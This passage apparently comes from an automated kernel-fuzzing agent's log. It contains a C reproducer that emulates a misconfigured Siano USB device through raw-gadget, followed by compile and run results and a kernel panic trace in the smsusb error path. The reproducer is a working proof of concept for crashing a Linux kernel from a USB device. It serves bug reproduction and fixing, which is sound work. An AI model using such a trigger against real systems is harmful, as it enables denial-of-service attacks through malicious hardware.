static void *handle_ep0(void *arg)
{
	char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)];
	struct usb_raw_event *event = (struct usb_raw_event *)event_buf;
	uint8_t buf[256];

	while (1) {
		event->length = sizeof(struct usb_ctrlrequest);
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			break;
		}

		if (event->type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event->type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event->data;
			char io_buf[sizeof(struct usb_raw_ep_io) + 256];
			struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
			io->ep = 0;
			io->flags = 0;
			io->length = 0;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io->length = sizeof(dev_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, &dev_desc, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io->length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, buf, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						io->length = sizeof(str_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, str_desc, io->length);
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				io->length = ctrl->wLength;
				if (io->length > 256)
					io->length = 256;
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
```]

211/5 2026/09/04 10:36 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	char io_buf[sizeof(struct usb_raw_ep_io) + sizeof(*desc)];
	struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
	io->ep = ep;
	io->flags = 0;
	io->length = sizeof(*desc);
	memcpy(io->data, desc, sizeof(*desc));
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	uint32_t vbus = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)];
	struct usb_raw_event *event = (struct usb_raw_event *)event_buf;
	uint8_t buf[256];

	while (1) {
		event->length = sizeof(struct usb_ctrlrequest);
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			break;
		}

		if (event->type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event->type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event->data;
			char io_buf[sizeof(struct usb_raw_ep_io) + 256];
			struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
			io->ep = 0;
			io->flags = 0;
			io->length = 0;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io->length = sizeof(dev_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, &dev_desc, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io->length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, buf, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						io->length = sizeof(str_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, str_desc, io->length);
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				io->length = ctrl->wLength;
				if (io->length > 256)
					io->length = 256;
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
]

212/5 2026/09/04 10:36 action If
0m Args:
map[CompilerError:]

213/3 2026/09/04 10:36 action run-c-repro
1m Results:
map[CandidateBugTitle:WARNING in usb_free_urb CandidateCrashReport:smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
------------[ cut here ]------------
!PageLargeKmalloc(page)
WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110 mm/slub.c:6724, CPU#0: kworker/0:3/2237
Modules linked in:
CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: usb_hub_wq hub_event
RIP: 0010:free_large_kmalloc+0x97/0x110 mm/slub.c:6724
Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
Call Trace:
 <TASK>
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>
 CandidateReproduced:true ConsoleOutput:Warning: Permanently added '[localhost]:52669' (ED25519) to the list of known hosts.
[   64.664696][ T2237] usb 3-1: new high-speed USB device number 2 using dummy_hcd
[   64.814715][ T2237] usb 3-1: New USB device found, idVendor=187f, idProduct=0100, bcdDevice= 1.00
[   64.819599][ T2237] usb 3-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[   64.828171][ T2237] smsusb:smsusb_probe: board id=1, interface number 0
[   64.833386][ T2237] smsusb:siano_media_device_register: media controller created
[   64.836873][ T2237] usb 3-1: BOGUS urb xfer, pipe 3 != type 1
[   64.838975][ T2237] smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
[   64.841604][ T2237] smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
[   64.844981][ T2237] ------------[ cut here ]------------
[   64.845040][ T2237] !PageLargeKmalloc(page)
[   64.845061][ T2237] WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110, CPU#0: kworker/0:3/2237
[   64.851763][ T2237] Modules linked in:
[   64.853240][ T2237] CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
[   64.856375][ T2237] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.859705][ T2237] Workqueue: usb_hub_wq hub_event
[   64.861433][ T2237] RIP: 0010:free_large_kmalloc+0x97/0x110
[   64.863508][ T2237] Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
[   64.869934][ T2237] RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
[   64.871971][ T2237] RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
[   64.874686][ T2237] RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
[   64.877345][ T2237] RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
[   64.879974][ T2237] R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
[   64.882711][ T2237] R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
[   64.885354][ T2237] FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
[   64.888325][ T2237] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   64.890598][ T2237] CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
[   64.893392][ T2237] Call Trace:
[   64.894577][ T2237]  <TASK>
[   64.895588][ T2237]  usb_free_urb+0xd0/0x120
[   64.897109][ T2237]  smsusb_term_device+0x1d0/0x3d0
[   64.898802][ T2237]  smsusb_probe+0x1aba/0x2280
[   64.900400][ T2237]  ? __pfx_smsusb_probe+0x10/0x10
[   64.902108][ T2237]  ? do_raw_spin_lock+0x12b/0x2f0
[   64.903896][ T2237]  ? __pfx_smsusb1_setmode+0x10/0x10
[   64.905670][ T2237]  ? __pfx_smsusb1_detectmode+0x10/0x10
[   64.907574][ T2237]  ? __pfx_smsusb_sendrequest+0x10/0x10
[   64.909437][ T2237]  ? _raw_spin_unlock_irqrestore+0x30/0x80
[   64.911400][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.913443][ T2237]  ? __pm_runtime_set_status+0x994/0xc80
[   64.915321][ T2237]  usb_probe_interface+0x788/0xe50
[   64.917054][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   64.918947][ T2237]  ? sysfs_do_create_link_sd+0xe0/0x110
[   64.920855][ T2237]  ? driver_sysfs_add+0x1fe/0x210
[   64.922661][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   64.924559][ T2237]  really_probe+0x254/0xae0
[   64.926098][ T2237]  __driver_probe_device+0x1e8/0x360
[   64.927898][ T2237]  driver_probe_device+0x4f/0x240
[   64.929613][ T2237]  __device_attach_driver+0x270/0x410
[   64.931425][ T2237]  bus_for_each_drv+0x258/0x2f0
[   64.933234][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   64.935304][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   64.937363][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.939333][ T2237]  __device_attach+0x2c4/0x450
[   64.940993][ T2237]  ? __pfx___device_attach+0x10/0x10
[   64.942838][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.944560][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   64.946219][ T2237]  device_initial_probe+0xa1/0xd0
[   64.947996][ T2237]  bus_probe_device+0x12a/0x220
[   64.949667][ T2237]  device_add+0x7d7/0xb80
[   64.951148][ T2237]  usb_set_configuration+0x1ad8/0x2180
[   64.953047][ T2237]  usb_generic_driver_probe+0x8d/0x150
[   64.954888][ T2237]  usb_probe_device+0x1c3/0x3b0
[   64.956537][ T2237]  ? __pfx_usb_probe_device+0x10/0x10
[   64.958343][ T2237]  really_probe+0x254/0xae0
[   64.959869][ T2237]  __driver_probe_device+0x1e8/0x360
[   64.961707][ T2237]  driver_probe_device+0x4f/0x240
[   64.963508][ T2237]  __device_attach_driver+0x270/0x410
[   64.965321][ T2237]  bus_for_each_drv+0x258/0x2f0
[   64.966987][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   64.968970][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   64.970765][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.972789][ T2237]  __device_attach+0x2c4/0x450
[   64.974451][ T2237]  ? __pfx___device_attach+0x10/0x10
[   64.976238][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.977964][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   64.979604][ T2237]  device_initial_probe+0xa1/0xd0
[   64.981307][ T2237]  bus_probe_device+0x12a/0x220
[   64.983009][ T2237]  device_add+0x7d7/0xb80
[   64.984476][ T2237]  usb_new_device+0x9aa/0x1690
[   64.986088][ T2237]  ? __pfx_usb_new_device+0x10/0x10
[   64.987909][ T2237]  ? _raw_spin_unlock_irq+0x23/0x50
[   64.989663][ T2237]  hub_event+0x28e8/0x4d30
[   64.991189][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.992981][ T2237]  ? __pfx_hub_event+0x10/0x10
[   64.994606][ T2237]  ? rcu_is_watching+0x16/0xb0
[   64.996222][ T2237]  ? process_scheduled_works+0x97a/0x1630
[   64.998148][ T2237]  process_scheduled_works+0xc3d/0x1630
[   65.000012][ T2237]  ? __pfx_process_scheduled_works+0x10/0x10
[   65.002088][ T2237]  ? assign_work+0x3cf/0x5d0
[   65.003898][ T2237]  worker_thread+0xa47/0xfb0
[   65.005474][ T2237]  ? __kthread_parkme+0x71/0x1f0
[   65.007163][ T2237]  kthread+0x38b/0x480
[   65.008545][ T2237]  ? __pfx_worker_thread+0x10/0x10
[   65.010264][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.011808][ T2237]  ret_from_fork+0x514/0xb70
[   65.013439][ T2237]  ? __pfx_ret_from_fork+0x10/0x10
[   65.015227][ T2237]  ? __switch_to+0xc89/0x1420
[   65.016833][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.018391][ T2237]  ret_from_fork_asm+0x1a/0x30
[   65.019988][ T2237]  </TASK>
[   65.021051][ T2237] Kernel panic - not syncing: kernel: panic_on_warn set ...
[   65.023479][ T2237] CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
[   65.026505][ T2237] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   65.029878][ T2237] Workqueue: usb_hub_wq hub_event
[   65.031610][ T2237] Call Trace:
[   65.032748][ T2237]  <TASK>
[   65.033761][ T2237]  vpanic+0x56d/0xa60
[   65.035146][ T2237]  ? __pfx__printk+0x10/0x10
[   65.036706][ T2237]  ? __pfx_vpanic+0x10/0x10
[   65.038263][ T2237]  ? is_bpf_text_address+0x292/0x2b0
[   65.040042][ T2237]  ? is_bpf_text_address+0x26/0x2b0
[   65.041793][ T2237]  panic+0xc5/0xd0
[   65.043067][ T2237]  ? __pfx_panic+0x10/0x10
[   65.044585][ T2237]  ? ret_from_fork_asm+0x1a/0x30
[   65.046272][ T2237]  __warn+0x315/0x4c0
[   65.047641][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.049383][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.051110][ T2237]  __report_bug+0x276/0x570
[   65.052654][ T2237]  ? bus_for_each_drv+0x258/0x2f0
[   65.054345][ T2237]  ? __device_attach+0x2c4/0x450
[   65.056019][ T2237]  ? device_initial_probe+0xa1/0xd0
[   65.057774][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.059506][ T2237]  ? __pfx___report_bug+0x10/0x10
[   65.061217][ T2237]  ? bus_probe_device+0x12a/0x220
[   65.062919][ T2237]  ? device_add+0x7d7/0xb80
[   65.064454][ T2237]  ? usb_new_device+0x9aa/0x1690
[   65.066123][ T2237]  ? hub_event+0x28e8/0x4d30
[   65.067715][ T2237]  ? process_scheduled_works+0xc3d/0x1630
[   65.069636][ T2237]  ? worker_thread+0xa47/0xfb0
[   65.071250][ T2237]  ? kthread+0x38b/0x480
[   65.072680][ T2237]  ? smscore_unregister_device+0x651/0x780
[   65.074631][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.076359][ T2237]  report_bug+0x16b/0x220
[   65.077855][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.079581][ T2237]  ? free_large_kmalloc+0x99/0x110
[   65.081317][ T2237]  handle_bug+0x9c/0x200
[   65.082743][ T2237]  exc_invalid_op+0x1a/0x50
[   65.084286][ T2237]  asm_exc_invalid_op+0x1a/0x20
[   65.085917][ T2237] RIP: 0010:free_large_kmalloc+0x97/0x110
[   65.087819][ T2237] Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
[   65.094212][ T2237] RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
[   65.096240][ T2237] RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
[   65.098869][ T2237] RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
[   65.101507][ T2237] RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
[   65.104146][ T2237] R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
[   65.106777][ T2237] R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
[   65.109412][ T2237]  usb_free_urb+0xd0/0x120
[   65.110912][ T2237]  smsusb_term_device+0x1d0/0x3d0
[   65.112620][ T2237]  smsusb_probe+0x1aba/0x2280
[   65.114219][ T2237]  ? __pfx_smsusb_probe+0x10/0x10
[   65.115911][ T2237]  ? do_raw_spin_lock+0x12b/0x2f0
[   65.117608][ T2237]  ? __pfx_smsusb1_setmode+0x10/0x10
[   65.119376][ T2237]  ? __pfx_smsusb1_detectmode+0x10/0x10
[   65.121245][ T2237]  ? __pfx_smsusb_sendrequest+0x10/0x10
[   65.123104][ T2237]  ? _raw_spin_unlock_irqrestore+0x30/0x80
[   65.125070][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.127021][ T2237]  ? __pm_runtime_set_status+0x994/0xc80
[   65.128903][ T2237]  usb_probe_interface+0x788/0xe50
[   65.130642][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   65.132530][ T2237]  ? sysfs_do_create_link_sd+0xe0/0x110
[   65.134381][ T2237]  ? driver_sysfs_add+0x1fe/0x210
[   65.136071][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   65.137950][ T2237]  really_probe+0x254/0xae0
[   65.139498][ T2237]  __driver_probe_device+0x1e8/0x360
[   65.141298][ T2237]  driver_probe_device+0x4f/0x240
[   65.142990][ T2237]  __device_attach_driver+0x270/0x410
[   65.144790][ T2237]  bus_for_each_drv+0x258/0x2f0
[   65.146463][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   65.148478][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   65.150347][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.152326][ T2237]  __device_attach+0x2c4/0x450
[   65.153944][ T2237]  ? __pfx___device_attach+0x10/0x10
[   65.155718][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.157451][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   65.159097][ T2237]  device_initial_probe+0xa1/0xd0
[   65.160811][ T2237]  bus_probe_device+0x12a/0x220
[   65.162474][ T2237]  device_add+0x7d7/0xb80
[   65.163930][ T2237]  usb_set_configuration+0x1ad8/0x2180
[   65.165768][ T2237]  usb_generic_driver_probe+0x8d/0x150
[   65.167626][ T2237]  usb_probe_device+0x1c3/0x3b0
[   65.169424][ T2237]  ? __pfx_usb_probe_device+0x10/0x10
[   65.171246][ T2237]  really_probe+0x254/0xae0
[   65.172788][ T2237]  __driver_probe_device+0x1e8/0x360
